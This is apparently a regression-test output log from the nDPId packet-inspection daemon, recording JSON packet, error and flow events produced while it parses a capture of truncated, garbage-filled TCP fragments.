-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436707} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436718} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436747} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436759} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436771} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436786} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436798} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436810} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436822} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436835} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436848} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436860} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436871} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436883} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":3114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436909} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436921} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436933} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436944} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436956} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436980} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027436994} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437008} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437019} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437031} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437044} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437055} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027437067} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244027437080} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":3130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244027433145,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdGRDIqJkRG"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244027737251,"flow_src_last_pkt_time":1534244027737251,"flow_dst_last_pkt_time":1534244027737251,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244027737251,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18248,"dst_port":19019,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_src_last_pkt_time":1534244027737251,"flow_dst_last_pkt_time":1534244027737251,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkdISksmXiUkIyNFVFIlWV76VAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737294} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737312} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737320} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737327} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737335} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737357} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737391} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737400} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027737407} 